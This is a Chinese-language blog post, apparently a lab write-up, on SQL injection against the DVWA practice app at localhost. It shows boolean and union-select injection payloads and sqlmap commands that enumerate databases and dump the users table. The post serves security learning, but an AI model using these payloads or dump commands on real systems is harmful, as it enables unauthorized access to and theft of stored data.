加载中...

SQL注入漏洞--DVWA

怎么判断sql注入漏洞呢?

后台执行的SQL语句为
SELECT first_name, last_name FROM users WHERE user_id = '$id';
($id:用户输入的内容)
用户输入的数据为:
1' and 1=1#
这时SQL语句发生变化,在原有查询完成后会判断1=1(这明显是对的),如果判断正确才会有输出
[#作用是注释(移除)后续SQL语句]
用户输入的数据为:
1' and 1=2#
这时SQL语句发生变化,在原有查询完成后会判断1=1(这明显是错的),如果判断正确才会有输出
两次尝试,1=1 正常输出,1=2错误输出,证明SQL语句生效,存在SQL注入漏洞

怎么利用sql注入漏洞呢?

1.判断列/字段数 order by[column_num]
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3#';
用户输入的数据为1' order by 3#时网页报错,证明该数据库表有2列/字段

2.联合查询其他信息 union select [sql1][sql2]
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user(),database()#';

用户输入SQL语句,执行了MySQL内置函数user()和database()

user():返回当前数据库连接用户
database():返回当前数据库名称

**3.联合查询表 **
呜呜呜·,做不来了,还是直接用sqlmap工具吧
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=rcl7hiv2mutm5qmr2ck5743ejj"
发现有漏洞

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=rcl7hiv2mutm5qmr2ck5743ejj" --dbs
获取数据库名
dbs:database server 获取所有数据库名

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=rcl7hiv2mutm5qmr2ck5743ejj" -D dvwa --tables
获取指定数据库表
-D:Database指定想要获取的数据库名为dvwa
--tables:列出数据库表

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=rcl7hiv2mutm5qmr2ck5743ejj" -D dvwa -T users --columns
获取指定数据库列/表项
--columns:列出表项/列

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=rcl7hiv2mutm5qmr2ck5743ejj" -D dvwa -T users --dump
获取数据
--dump:读取数据

posted @ 2023-04-21 15:27  zhajiangmian  阅读(45)  评论(0编辑  收藏  举报